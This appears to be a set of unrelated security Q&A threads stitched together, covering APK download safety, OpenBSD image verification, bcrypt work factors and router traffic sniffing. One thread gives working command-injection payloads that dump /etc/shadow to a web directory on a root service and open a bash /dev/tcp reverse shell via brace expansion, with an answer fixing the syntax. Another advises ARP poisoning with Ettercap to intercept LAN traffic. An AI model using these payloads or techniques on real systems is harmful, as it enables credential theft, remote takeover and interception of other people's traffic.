As you already have the Play Store installed, only an APK signed with the same key as the currently installed version will be able to upgrade the app so this is an extra verification of the APK you download. Therefore, if you download the app from Apkmirror.com you should be safe.

APKmirror use both MD5 and SHA1 and they have gradually built up a solid reputation over years. I'm not aware of any confirmed case of a compromised APK on their site. Of course, it may plausibly still happen, but even the Play Store is not completely safe from all malware. APKmirror manually checks each APK.

Attribution for part of the section on apkmirror.com.


Command injection with brace expansion Does anyone have more experience with bash brace expansions when dealing with command injections that filters whitespaces?

I am encountering most likely not a filtering engine, but an bad parsing engine which has an command injection vulnerability as it is parsed to an system call.

I have successfully been able to write out
/etc/shadow:

-w=target.cap;{cat,/etc/shadow}>>/var/www/passnew.txt

Which succeeded without further issues. The service is running as root as well.

At the moment I am trying to do an reverse shell with brace expansion, but I am encountering difficulties upon formatting the following one liner payload:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

To

-w=target.cap;{bash,-i}>&{/dev/tcp/ipredacted/8080{0>&1}

I have tried more ways than this, but I am stuck.

Change the last { to a ,

  -w=target.cap;{bash,-i}>&{/dev/tcp/ipredacted/8080,0>&1}


Verifying consistency of OpenBSD LiveCD OpenBSD offers a live cd that can be downloaded at http://livecd-openbsd.sourceforge.net/

However, there is no md5sum, no sha256, no checksum of any kind on this page. How can we test this version for integrity?

OpenBSD does not require a "live" cd and if you want to err on the paranoid side you should consider creating your own "live" medium by following their own FAQs:

  It is very easy to create a bootable USB flash (or other!) drive that can be used as a "live" OpenBSD system without installing OpenBSD on the local hard disk of a machine. Obviously, the target machine must be bootable from a USB device, but the initial load can actually be done from any machine with a USB interface.

Benefits: if you have an OpenBSD installed you can verify the authenticity of the bsd.rd file by checking it against the public keys embedded in each distribution (see this paper but also google for openbsd signify):

  After each release of OpenBSD, we generate a new key pair for the release after next. That's plus two. For example, after 5.6 was released, keys for 5.8 were generated. This way, the 5.8 keys are then included in the 5.7 release. So, if you upgrade every release, you will have an unbroken chain of keys back to your initial installation.

If you don't have an OpenBSD installed and you only want to check hardware compatibility, download (and verify!) the bsd.rd file, dd it on a portable medium, then boot it and give it a go.


How does a hacker know how many times a password was hashed? I've been reading a lot of questions about security and hash functions on this site and others. I am not an expert, just a curious mind and in my understanding the more iterations used to hash a password, the better and you are supposed to get one output equals one input (modulo collision with broken functions). In this regard, the output won't be the same if the iterations number varies.

But what I don't get is how a hacker who tries to find the plain knows how many iterations were used. Because he has to know it or did I miss something?

Number of rounds is often stored with the password and hash. For example, using bcrypt:

$2a$10$oEuthjiY8HJp/NaBCJg.bu76Nt4eY4jG/S3sChJhZjqsCvhRXGztm

The 10 indicates the work factor, effectively adding 10 bits of entropy in terms of hashing time to brute force. 2^10 = 1024 rounds.

It is stored with the hash in case of the need to up the work factor due to Moore's law.

If your system had a secret work factor that is the same for all accounts, this could be used as an additional security measure, much like a pepper. In fact in the case of an attacker being able to set their own password and view the hash, you would need to combine it with a pepper otherwise they would be able to determine the number of iterations in play from viewing the resulting hash. However, it is more complex to up this in future than it is when storing with each separate password, as you'll need to instead store an indicator of which iteration configuration version was used for each password. You could though have a secret work factor that is added to the value stored with the hash.

Veracrypt has recently added a PIM (Personal Iteration Multiplier) feature that can be used as an additional secret to protect your encrypted data.


Wireshark trafic from router I have a very old router and in my routers admin page there is no option to write any commands or view traffic in any way, i tried using Putty to get inside it with port 22 and I get a connection with a command line but when I type the right username + password I get access denied.

I'm new to this subject and from where I read/watch I gather I can either get a file from my router to input into wireshark or connect into my router ( somehow ) and run a few commands that will connect it to wireshark.

Is there any way to get traffic flow into wireshark, or a log file from my old router?

It sounds like you want to run a Man In The Middle attack on your local network.

Essentially, you'll ARP-Poison each host on your network, replacing the MAC of the router with yours, and on the router you'll replace each hosts MAC with yours. This will cause all traffic between your router and hosts on your LAN to transparently route all traffic through your machine - be sure your network card can handle it.

Once you have the ARP-Poisoning done, you can do whatever you like with the traffic, including sniffing with Wireshark.

If you're unfamiliar with ARP spoofing (aka ARP-Poisoning), I'd suggest using Ettercap. If you're on Windows, Cain & Abel seems to work well, though I haven't used it in ages. These programs take care of a lot of the intricacies involved with setting up ARP spoofing.